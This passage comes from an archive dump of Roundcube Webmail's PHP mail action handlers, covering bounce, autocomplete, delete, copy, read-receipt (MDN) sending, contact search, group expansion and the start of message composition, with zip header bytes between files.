        $rcmail->output->command('add2attachment_list', "rcmfile$id", [
                'html'      => $content,
                'name'      => $attachment['name'],
                'mimetype'  => $attachment['mimetype'],
                'classname' => rcube_utils::file2class($attachment['mimetype'], $attachment['name']),
                'complete'  => true
            ],
            $uploadid
        );
    }

    /**
     * Checks if the attached file will fit in message size limit.
     * Calculates size of all attachments and compares with the limit.
     *
     * @param int    $filesize File size
     * @param string $filetype File mimetype
     *
     * @return string Error message if the limit is exceeded
     */
    public static function check_message_size($filesize, $filetype)
    {
        $rcmail = rcmail::get_instance();
        $limit  = parse_bytes($rcmail->config->get('max_message_size'));
        $size   = 10 * 1024; // size of message body

        if (!$limit) {
            return;
        }

        // add size of already attached files
        if (!empty(self::$COMPOSE['attachments'])) {
            foreach ((array) self::$COMPOSE['attachments'] as $att) {
                // All attachments are base64-encoded except message/rfc822 (see sendmail.inc)
                $multip = $att['mimetype'] == 'message/rfc822' ? 1 : 1.33;
                $size  += $att['size'] * $multip;
            }
        }

        // add size of the new attachment
        $multip = $filetype == 'message/rfc822' ? 1 : 1.33;
        $size  += $filesize * $multip;

        if ($size > $limit) {
            $limit = self::show_bytes($limit);
            return $rcmail->gettext(['name' => 'msgsizeerror', 'vars' => ['size' => $limit]]);
        }
    }
}
PK
h�\����program/actions/mail/bounce.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Bounce/resend an email message                                      |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_bounce extends rcmail_action
{
    protected static $MESSAGE;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail     = rcmail::get_instance();
        $msg_uid    = rcube_utils::get_input_string('_uid', rcube_utils::INPUT_GP);
        $msg_folder = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_GP, true);
        $MESSAGE    = new rcube_message($msg_uid, $msg_folder);

        self::$MESSAGE = $MESSAGE;

        if (!$MESSAGE->headers) {
            $rcmail->output->show_message('messageopenerror', 'error');
            $rcmail->output->send('iframe');
        }

        // Display Bounce form
        if (empty($_POST)) {
            if (!empty($MESSAGE->headers->charset)) {
                $rcmail->storage->set_charset($MESSAGE->headers->charset);
            }

            // Initialize helper class to build the UI
            $SENDMAIL = new rcmail_sendmail(
                ['mode' => rcmail_sendmail::MODE_FORWARD],
                ['message' => $MESSAGE]
            );

            $rcmail->output->set_env('mailbox', $msg_folder);
            $rcmail->output->set_env('uid', $msg_uid);
            $rcmail->output->add_handler('bounceobjects', [$this, 'bounce_objects']);
            $rcmail->output->send('bounce');
        }

        // Initialize helper class to send the message
        $SENDMAIL = new rcmail_sendmail(
            ['mode' => rcmail_sendmail::MODE_FORWARD],
            [
                'sendmail'      => true,
                'error_handler' => function(...$args) use ($rcmail) {
                    call_user_func_array([$rcmail->output, 'show_message'], $args);
                    $rcmail->output->send('iframe');
                }
            ]
        );

        // Handle the form input
        $input_headers = $SENDMAIL->headers_input();

        // Set Resent-* headers, these will be added on top of the bounced message
        $headers = [];
        foreach (['From', 'To', 'Cc', 'Bcc', 'Date', 'Message-ID'] as $name) {
            if (!empty($input_headers[$name])) {
                $headers['Resent-' . $name] = $input_headers[$name];
            }
        }

        // Create the bounce message
        $BOUNCE = new rcmail_resend_mail([
                'bounce_message' => $MESSAGE,
                'bounce_headers' => $headers,
        ]);

        // Send the bounce message
        $SENDMAIL->deliver_message($BOUNCE);

        // Save in Sent (if requested)
        $saved = $SENDMAIL->save_message($BOUNCE);

        if (!$saved && strlen($SENDMAIL->options['store_target'])) {
            self::display_server_error('errorsaving');
        }

        $rcmail->output->show_message('messagesent', 'confirmation', null, false);
        $rcmail->output->send('iframe');
    }

    /**
     * Handler for template object 'bounceObjects'
     *
     * @param array $attrib HTML attributes
     *
     * @return string HTML content
     */
    public static function bounce_objects($attrib)
    {
        if (empty($attrib['id'])) {
            $attrib['id'] = 'bounce-objects';
        }

        $rcmail  = rcmail::get_instance();
        $content = [];

        // Always display a hint about the bounce feature behavior
        $msg        = html::span(null, rcube::Q($rcmail->gettext('bouncehint')));
        $msg_attrib = ['id' => 'bounce-hint', 'class' => 'boxinformation'];
        $content[]  = html::div($msg_attrib, $msg);

        // Add a warning about Bcc recipients
        if (self::$MESSAGE->headers->get('bcc', false) || self::$MESSAGE->headers->get('resent-bcc', false)) {
            $msg        = html::span(null, rcube::Q($rcmail->gettext('bccemail')));
            $msg_attrib = ['id' => 'bcc-warning', 'class' => 'boxwarning'];
            $content[]  = html::div($msg_attrib, $msg);
        }

        $plugin = $rcmail->plugins->exec_hook('bounce_objects',
            ['content' => $content, 'message' => self::$MESSAGE]);

        $content = implode("\n", $plugin['content']);

        return $content ? html::div($attrib, $content) : '';
    }
}
PK
h�\>��%%%program/actions/mail/autocomplete.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Perform a search on configured address books for the email          |
 |   address autocompletion                                              |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_autocomplete extends rcmail_action
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();
        $MAXNUM = (int) $rcmail->config->get('autocomplete_max', 15);
        $mode   = (int) $rcmail->config->get('addressbook_search_mode');
        $single = (bool) $rcmail->config->get('autocomplete_single');
        $search = rcube_utils::get_input_string('_search', rcube_utils::INPUT_GPC, true);
        $reqid  = rcube_utils::get_input_string('_reqid', rcube_utils::INPUT_GPC);

        $contacts = [];

        if (strlen($search) && ($book_types = self::autocomplete_addressbooks())) {
            $sort_keys = [];
            $books_num = count($book_types);
            $search_lc = mb_strtolower($search);
            $mode     |= rcube_addressbook::SEARCH_GROUPS;
            $fields    = $rcmail->config->get('contactlist_fields');

            foreach ($book_types as $abook_id) {
                $abook = $rcmail->get_address_book($abook_id);
                $abook->set_pagesize($MAXNUM);

                if ($result = $abook->search($fields, $search, $mode, true, true, 'email')) {
                    while ($record = $result->iterate()) {
                        // Contact can have more than one e-mail address
                        $email_arr = (array) $abook->get_col_values('email', $record, true);
                        $email_cnt = count($email_arr);
                        $idx       = 0;

                        foreach ($email_arr as $email) {
                            if (empty($email)) {
                                continue;
                            }

                            $name    = rcube_addressbook::compose_list_name($record);
                            $contact = format_email_recipient($email, $name);

                            // skip entries that don't match
                            if ($email_cnt > 1 && strpos(mb_strtolower($contact), $search_lc) === false) {
                                continue;
                            }

                            $index = $contact;

                            // skip duplicates
                            if (empty($contacts[$index])) {
                                $contact = [
                                    'name'   => $contact,
                                    'type'   => $record['_type'] ?? null,
                                    'id'     => $record['ID'],
                                    'source' => $abook_id,
                                ];

                                $display = rcube_addressbook::compose_search_name($record, $email, $name);

                                if ($display && $display != $contact['name']) {
                                    $contact['display'] = $display;
                                }

                                // groups with defined email address will not be expanded to its members' addresses
                                if ($contact['type'] == 'group') {
                                    $contact['email'] = $email;
                                }

                                $name              = !empty($contact['display']) ? $contact['display'] : $name;
                                $contacts[$index]  = $contact;
                                $sort_keys[$index] = sprintf('%s %03d', $name, $idx++);

                                if (count($contacts) >= $MAXNUM) {
                                    break 2;
                                }
                            }

                            // skip redundant entries (show only first email address)
                            if ($single) {
                                break;
                            }
                        }
                    }
                }

                // also list matching contact groups
                if ($abook->groups && count($contacts) < $MAXNUM) {
                    foreach ($abook->list_groups($search, $mode) as $group) {
                        $abook->reset();
                        $abook->set_group($group['ID']);

                        $group_prop = $abook->get_group($group['ID']);

                        // group (distribution list) with email address(es)
                        if (!empty($group_prop['email'])) {
                            $idx = 0;
                            foreach ((array) $group_prop['email'] as $email) {
                                $index = format_email_recipient($email, $group['name']);

                                if (empty($contacts[$index])) {
                                    $sort_keys[$index] = sprintf('%s %03d', $group['name'] , $idx++);
                                    $contacts[$index]  = [
                                        'name'   => $index,
                                        'email'  => $email,
                                        'type'   => 'group',
                                        'id'     => $group['ID'],
                                        'source' => $abook_id,
                                    ];

                                    if (count($contacts) >= $MAXNUM) {
                                        break 3;
                                    }
                                }
                            }
                        }
                        // show group with count
                        else if (($result = $abook->count()) && $result->count) {
                            if (empty($contacts[$group['name']])) {
                                $sort_keys[$group['name']] = $group['name'];
                                $contacts[$group['name']]  = [
                                    'name'   => $group['name'] . ' (' . intval($result->count) . ')',
                                    'type'   => 'group',
                                    'id'     => $group['ID'],
                                    'source' => $abook_id,
                                ];

                                if (count($contacts) >= $MAXNUM) {
                                    break 2;
                                }
                            }
                        }
                    }
                }
            }

            if (count($contacts)) {
                // sort contacts index
                asort($sort_keys, SORT_LOCALE_STRING);
                // re-sort contacts according to index
                foreach ($sort_keys as $idx => $val) {
                    $sort_keys[$idx] = $contacts[$idx];
                }
                $contacts = array_values($sort_keys);
            }
        }

        // Allow autocomplete result optimization via plugin
        $plugin = $rcmail->plugins->exec_hook('contacts_autocomplete_after', [
                'search'   => $search,
                // Provide already-found contacts to plugin if they are required
                'contacts' => $contacts,
        ]);

        $contacts = $plugin['contacts'];

        $rcmail->output->command('ksearch_query_results', $contacts, $search, $reqid);
        $rcmail->output->send();
    }

    /**
     * Collect addressbook sources used for autocompletion
     */
    public static function autocomplete_addressbooks()
    {
        $rcmail = rcmail::get_instance();
        $source = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GPC);

        if (strlen($source)) {
            $book_types = [$source];
        }
        else {
            $book_types = (array) $rcmail->config->get('autocomplete_addressbooks', 'sql');
        }

        $collected_recipients = $rcmail->config->get('collected_recipients');
        $collected_senders    = $rcmail->config->get('collected_senders');

        if (strlen($collected_recipients) && !in_array($collected_recipients, $book_types)) {
            $book_types[] = $collected_recipients;
        }

        if (strlen($collected_senders) && !in_array($collected_senders, $book_types)) {
            $book_types[] = $collected_senders;
        }

        return !empty($book_types) ? $book_types : null;
    }
}
PK
h�\V����program/actions/mail/delete.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Handler for mail delete operation                                   |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_delete extends rcmail_action_mail_index
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        // count messages before changing anything
        $threading = (bool) $rcmail->storage->get_threading();
        $trash     = $rcmail->config->get('trash_mbox');
        $sources   = [];
        $old_count = 0;
        $deleted   = 0;
        $count     = 0;

        if (empty($_POST['_from']) || $_POST['_from'] != 'show') {
            $old_count = $rcmail->storage->count(null, $threading ? 'THREADS' : 'ALL');
        }

        if (empty($_POST['_uid'])) {
            $rcmail->output->show_message('internalerror', 'error');
            $rcmail->output->send();
        }

        foreach (rcmail::get_uids(null, null, $multifolder, rcube_utils::INPUT_POST) as $mbox => $uids) {
            $deleted  += (int) $rcmail->storage->delete_message($uids, $mbox);
            $count    += is_array($uids) ? count($uids) : 1;
            $sources[] = $mbox;
        }

        if (empty($deleted)) {
            // send error message
            if ($_POST['_from'] != 'show') {
                $rcmail->output->command('list_mailbox');
            }

            self::display_server_error('errordeleting');
            $rcmail->output->send();
        }
        else {
            $rcmail->output->show_message('messagedeleted', 'confirmation');
        }

        $search_request = rcube_utils::get_input_string('_search', rcube_utils::INPUT_GPC);

        // refresh saved search set after moving some messages
        if ($search_request && $rcmail->storage->get_search_set()) {
            $_SESSION['search'] = $rcmail->storage->refresh_search();
        }

        if (!empty($_POST['_from']) && $_POST['_from'] == 'show') {
            if ($next = rcube_utils::get_input_string('_next_uid', rcube_utils::INPUT_GPC)) {
                $rcmail->output->command('show_message', $next);
            }
            else {
                $rcmail->output->command('command', 'list');
            }

            $rcmail->output->send();
        }

        $mbox           = $rcmail->storage->get_folder();
        $msg_count      = $rcmail->storage->count(null, $threading ? 'THREADS' : 'ALL');
        $exists         = $rcmail->storage->count($mbox, 'EXISTS', true);
        $page_size      = $rcmail->storage->get_pagesize();
        $page           = $rcmail->storage->get_page();
        $pages          = ceil($msg_count / $page_size);
        $nextpage_count = $old_count - $page_size * $page;
        $remaining      = $msg_count - $page_size * ($page - 1);
        $jump_back      = false;

        // jump back one page (user removed the whole last page)
        if ($page > 1 && $remaining == 0) {
            $page -= 1;
            $rcmail->storage->set_page($page);
            $_SESSION['page'] = $page;
            $jump_back = true;
        }

        // update unseen messages counts for all involved folders
        foreach ($sources as $source) {
            self::send_unread_count($source, true);
        }

        // update message count display
        $rcmail->output->set_env('messagecount', $msg_count);
        $rcmail->output->set_env('current_page', $page);
        $rcmail->output->set_env('pagecount', $pages);
        $rcmail->output->set_env('exists', $exists);
        $rcmail->output->command('set_quota', self::quota_content(null, $multifolder ? $sources[0] : 'INBOX'));
        $rcmail->output->command('set_rowcount', self::get_messagecount_text($msg_count), $mbox);

        if ($threading) {
            $count = rcube_utils::get_input_string('_count', rcube_utils::INPUT_POST);
        }

        // add new rows from next page (if any)
        if (!empty($count) && $_POST['_uid'] != '*' && ($jump_back || $nextpage_count > 0)) {
            // #5862: Don't add more rows than it was on the next page
            $count = $jump_back ? null : min($nextpage_count, $count);

            $a_headers = $rcmail->storage->list_messages($mbox, null, self::sort_column(), self::sort_order(), $count);

            self::js_message_list($a_headers, false);
        }

        // set trash folder state
        if ($mbox === $trash) {
            $rcmail->output->command('set_trash_count', $exists);
        }

        // send response
        $rcmail->output->send();
    }
}
PK
h�\��.�	�	program/actions/mail/copy.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Copy the submitted messages to a specific mailbox                   |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_copy extends rcmail_action_mail_index
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        // copy messages
        if (empty($_POST['_uid']) || !isset($_POST['_target_mbox']) || !strlen($_POST['_target_mbox'])) {
            $rcmail->output->show_message('internalerror', 'error');
        }

        $uids    = self::get_uids(null, null, $multifolder, rcube_utils::INPUT_POST);
        $target  = rcube_utils::get_input_string('_target_mbox', rcube_utils::INPUT_POST, true);
        $sources = [];
        $copied  = false;

        foreach ($uids as $mbox => $uids) {
            if ($mbox === $target) {
                $copied++;
            }
            else {
                $copied += (int) $rcmail->storage->copy_message($uids, $target, $mbox);
                $sources[] = $mbox;
            }
        }

        if (!$copied) {
            self::display_server_error('errorcopying');
        }
        else {
            $rcmail->output->show_message('messagecopied', 'confirmation');

            self::send_unread_count($target, true);

            $rcmail->output->command('set_quota', self::quota_content(null, $multifolder ? $sources[0] : 'INBOX'));
        }

        $rcmail->output->send();
    }
}
PK
h�\V��hh program/actions/mail/sendmdn.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Send a message disposition notification for a specific mail         |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_sendmdn extends rcmail_action
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        if ($uid = rcube_utils::get_input_string('_uid', rcube_utils::INPUT_POST)) {
            $sent = self::send_mdn($uid, $smtp_error);
        }

        // show either confirm or error message
        if (!empty($sent)) {
            $rcmail->output->set_env('mdn_request', false);
            $rcmail->output->show_message('receiptsent', 'confirmation');
        }
        else if (!empty($smtp_error) && is_string($smtp_error)) {
            $rcmail->output->show_message($smtp_error, 'error');
        }
        else if (!empty($smtp_error) && !empty($smtp_error['label'])) {
            $rcmail->output->show_message($smtp_error['label'], 'error', $smtp_error['vars']);
        }
        else {
            $rcmail->output->show_message('errorsendingreceipt', 'error');
        }

        // Redirect to 'addcontact' action to save the sender address
        if (!empty($_POST['_save'])) {
            if ($_POST['_save'] == 5) {
                $_POST['_source'] = rcube_addressbook::TYPE_TRUSTED_SENDER;
            }

            $rcmail->action = 'addcontact';
            return;
        }

        $rcmail->output->send();
    }

    /**
     * Send the MDN response
     *
     * @param mixed        $message    Original message object (rcube_message) or UID
     * @param array|string $smtp_error SMTP error array or (deprecated) string
     *
     * @return bool Send status
     */
    public static function send_mdn($message, &$smtp_error)
    {
        $rcmail = rcmail::get_instance();

        if (!is_object($message) || !is_a($message, 'rcube_message')) {
            $message = new rcube_message($message);
        }

        if ($message->headers->mdn_to && empty($message->headers->flags['MDNSENT']) &&
            ($rcmail->storage->check_permflag('MDNSENT') || $rcmail->storage->check_permflag('*'))
        ) {
            $charset   = $message->headers->charset;
            $identity  = rcmail_sendmail::identity_select($message);
            $sender    = format_email_recipient($identity['email'], $identity['name']);
            $recipient = array_first(rcube_mime::decode_address_list($message->headers->mdn_to, 1, true, $charset));
            $mailto    = $recipient['mailto'];

            $compose = new Mail_mime("\r\n");

            $compose->setParam('text_encoding', 'quoted-printable');
            $compose->setParam('html_encoding', 'quoted-printable');
            $compose->setParam('head_encoding', 'quoted-printable');
            $compose->setParam('head_charset', RCUBE_CHARSET);
            $compose->setParam('html_charset', RCUBE_CHARSET);
            $compose->setParam('text_charset', RCUBE_CHARSET);

            // compose headers array
            $headers = [
                'Date'       => $rcmail->user_date(),
                'From'       => $sender,
                'To'         => $message->headers->mdn_to,
                'Subject'    => $rcmail->gettext('receiptread') . ': ' . $message->subject,
                'Message-ID' => $rcmail->gen_message_id($identity['email']),
                'X-Sender'   => $identity['email'],
                'References' => trim($message->headers->references . ' ' . $message->headers->messageID),
                'In-Reply-To' => $message->headers->messageID,
            ];

            $report = "Final-Recipient: rfc822; {$identity['email']}\r\n"
                . "Original-Message-ID: {$message->headers->messageID}\r\n"
                . "Disposition: manual-action/MDN-sent-manually; displayed\r\n";

            if ($message->headers->to) {
                $report .= "Original-Recipient: {$message->headers->to}\r\n";
            }

            if ($agent = $rcmail->config->get('useragent')) {
                $headers['User-Agent'] = $agent;
                $report .= "Reporting-UA: $agent\r\n";
            }

            $to   = rcube_mime::decode_mime_string($message->headers->to, $charset);
            $date = $rcmail->format_date($message->headers->date, $rcmail->config->get('date_long'));
            $body = $rcmail->gettext("yourmessage") . "\r\n\r\n" .
                "\t" . $rcmail->gettext("to") . ": {$to}\r\n" .
                "\t" . $rcmail->gettext("subject") . ": {$message->subject}\r\n" .
                "\t" . $rcmail->gettext("date") . ": {$date}\r\n" .
                "\r\n" . $rcmail->gettext("receiptnote");

            $compose->headers(array_filter($headers));
            $compose->setContentType('multipart/report', ['report-type'=> 'disposition-notification']);
            $compose->setTXTBody(rcube_mime::wordwrap($body, 75, "\r\n"));
            $compose->addAttachment($report, 'message/disposition-notification', 'MDNPart2.txt', false, '7bit', 'inline');

            // SMTP options
            $options = ['mdn_use_from' => (bool) $rcmail->config->get('mdn_use_from')];

            $sent = $rcmail->deliver_message($compose, $identity['email'], $mailto, $smtp_error, $body_file, $options, true);

            if ($sent) {
                $rcmail->storage->set_flag($message->uid, 'MDNSENT');
                return true;
            }
        }

        return false;
    }
}
PK
h�\�xz<��(program/actions/mail/search_contacts.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Search contacts from the address book widget                        |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_search_contacts extends rcmail_action_mail_list_contacts
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail        = rcmail::get_instance();
        $search        = rcube_utils::get_input_string('_q', rcube_utils::INPUT_GPC, true);
        $sources       = $rcmail->get_address_sources();
        $search_mode   = (int) $rcmail->config->get('addressbook_search_mode');
        $addr_sort_col = $rcmail->config->get('addressbook_sort_col', 'name');
        $afields       = $rcmail->config->get('contactlist_fields');
        $page_size     = $rcmail->config->get('addressbook_pagesize', $rcmail->config->get('pagesize', 50));
        $records       = [];
        $search_set    = [];
        $jsresult      = [];
        $search_mode  |= rcube_addressbook::SEARCH_GROUPS;

        foreach ($sources as $s) {
            $source = $rcmail->get_address_book($s['id']);
            $source->set_page(1);
            $source->set_pagesize(9999);

            // list matching groups of this source
            if ($source->groups) {
                $jsresult += self::compose_contact_groups($source, $s['id'], $search, $search_mode);
            }

            // get contacts count
            $result = $source->search($afields, $search, $search_mode, true, true, 'email');

            if (!$result->count) {
                continue;
            }

            while ($row = $result->next()) {
                $row['sourceid'] = $s['id'];
                $key = rcube_addressbook::compose_contact_key($row, $addr_sort_col);
                $records[$key] = $row;
            }

            $search_set[$s['id']] = $source->get_search_set();
            unset($result);
        }

        $group_count = count($jsresult);

        // sort the records
        ksort($records, SORT_LOCALE_STRING);

        // create resultset object
        $count  = count($records);
        $result = new rcube_result_set($count);

        // select the requested page
        if ($page_size < $count) {
            $records = array_slice($records, $result->first, $page_size);
        }

        $result->records = array_values($records);

        if (!empty($result) && $result->count > 0) {
            // create javascript list
            while ($row = $result->next()) {
                $name      = rcube_addressbook::compose_list_name($row);
                $is_group  = isset($row['_type']) && $row['_type'] == 'group';
                $classname = $is_group ? 'group' : 'person';
                $keyname   = $is_group ? 'contactgroup' : 'contact';

                // add record for every email address of the contact
                // (same as in list_contacts.inc)
                $emails = rcube_addressbook::get_col_values('email', $row, true);

                foreach ($emails as $i => $email) {
                    $row_id = $row['sourceid'].'-'.$row['ID'].'-'.$i;

                    $jsresult[$row_id] = format_email_recipient($email, $name);

                    $title = rcube_addressbook::compose_search_name($row, $email, $name);
                    $link_content = rcube::Q($name ?: $email);
                    if ($name && count($emails) > 1) {
                        $link_content .= '&nbsp;' . html::span('email', rcube::Q($email));
                    }
                    $link = html::a(['title' => $title], $link_content);

                    $rcmail->output->command('add_contact_row', $row_id, [$keyname => $link], $classname);
                }
            }

            // search request ID
            $search_request = md5('composeaddr' . $search);

            // save search settings in session
            $_SESSION['contact_search'][$search_request] = $search_set;
            $_SESSION['contact_search_params'] = ['id' => $search_request, 'data' => [$afields, $search]];

            $rcmail->output->show_message('contactsearchsuccessful', 'confirmation', ['nr' => $result->count]);

            $rcmail->output->set_env('search_request', $search_request);
            $rcmail->output->set_env('source', '');
            $rcmail->output->command('unselect_directory');
        }
        else if (!$group_count) {
            $rcmail->output->show_message('nocontactsfound', 'notice');
        }

        // update env
        $rcmail->output->set_env('contactdata', $jsresult);
        $rcmail->output->set_env('pagecount', ceil($result->count / $page_size));
        $rcmail->output->command('set_page_buttons');

        // send response
        $rcmail->output->send();
    }
}
PK
h�\����	�	%program/actions/mail/group_expand.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Expand addressbook group into list of email addresses               |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_group_expand extends rcmail_action
{
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();
        $gid    = rcube_utils::get_input_string('_gid', rcube_utils::INPUT_GET);
        $source = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GPC);
        $abook  = $rcmail->get_address_book($source);

        if ($gid && $abook) {
            $abook->set_group($gid);
            $abook->set_pagesize(9999);  // TODO: limit number of group members by config?

            $result  = $abook->list_records($rcmail->config->get('contactlist_fields'));
            $members = [];

            while ($result && ($record = $result->iterate())) {
                $email = array_first((array) $abook->get_col_values('email', $record, true));
                if (!empty($email)) {
                    $members[] = format_email_recipient($email, rcube_addressbook::compose_list_name($record));
                }
            }

            $rcmail->output->command('replace_group_recipients', $gid, join(', ', array_unique($members)));
        }

        $rcmail->output->send();
    }
}
PK
h�\��ir program/actions/mail/compose.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Compose a new mail message with all headers and attachments         |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_mail_compose extends rcmail_action_mail_index
{
    protected static $COMPOSE_ID;
    protected static $COMPOSE;
    protected static $MESSAGE;
    protected static $MESSAGE_BODY;
    protected static $CID_MAP   = [];
    protected static $HTML_MODE = false;
    protected static $SENDMAIL;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        self::$COMPOSE_ID = rcube_utils::get_input_string('_id', rcube_utils::INPUT_GET);
        self::$COMPOSE    = null;

        if (self::$COMPOSE_ID && !empty($_SESSION['compose_data_' . self::$COMPOSE_ID])) {
            self::$COMPOSE =& $_SESSION['compose_data_' . self::$COMPOSE_ID];
        }

        // give replicated session storage some time to synchronize
        $retries = 0;
        while (self::$COMPOSE_ID && !is_array(self::$COMPOSE) && $rcmail->db->is_replicated() && $retries++ < 5) {
            usleep(500000);
            $rcmail->session->reload();
            if ($_SESSION['compose_data_' . self::$COMPOSE_ID]) {
                self::$COMPOSE =& $_SESSION['compose_data_' . self::$COMPOSE_ID];
            }
        }

        // Nothing below is called during message composition, only at "new/forward/reply/draft" initialization or
        // if a compose-ID is given (i.e. when the compose step is opened in a new window/tab).
        if (!is_array(self::$COMPOSE)) {
            // Infinite redirect prevention in case of broken session (#1487028)
            if (self::$COMPOSE_ID) {
                // if we know the message with specified ID was already sent
                // we can ignore the error and compose a new message (#1490009)
                if (
                    !isset($_SESSION['last_compose_session'])
                    || self::$COMPOSE_ID != $_SESSION['last_compose_session']
                ) {
                    rcube::raise_error(['code' => 450], false, true);
                }
            }

            self::$COMPOSE_ID = uniqid(mt_rand());
            $params     = rcube_utils::request2param(rcube_utils::INPUT_GET, 'task|action', true);

            $_SESSION['compose_data_' . self::$COMPOSE_ID] = [
                'id'      => self::$COMPOSE_ID,
                'param'   => $params,
                'mailbox' => isset($params['mbox']) && strlen($params['mbox'])
                    ? $params['mbox'] : $rcmail->storage->get_folder(),
            ];

            self::$COMPOSE =& $_SESSION['compose_data_' . self::$COMPOSE_ID];
            self::process_compose_params(self::$COMPOSE);

            // check if folder for saving sent messages exists and is subscribed (#1486802)
            if (!empty(self::$COMPOSE['param']['sent_mbox'])) {
                $sent_folder = self::$COMPOSE['param']['sent_mbox'];
                rcmail_sendmail::check_sent_folder($sent_folder, true);
            }

            // redirect to a unique URL with all parameters stored in session
            $rcmail->output->redirect([
                    '_action' => 'compose',
                    '_id'     => self::$COMPOSE['id'],
                    '_search' => !empty($_REQUEST['_search']) ? $_REQUEST['_search'] : null,
            ]);
        }

        // add some labels to client
        $rcmail->output->add_label('notuploadedwarning', 'savingmessage', 'siginserted', 'responseinserted',
            'messagesaved', 'converting', 'editorwarning', 'discard',
            'fileuploaderror', 'sendmessage', 'newresponse', 'responsename', 'responsetext', 'save',
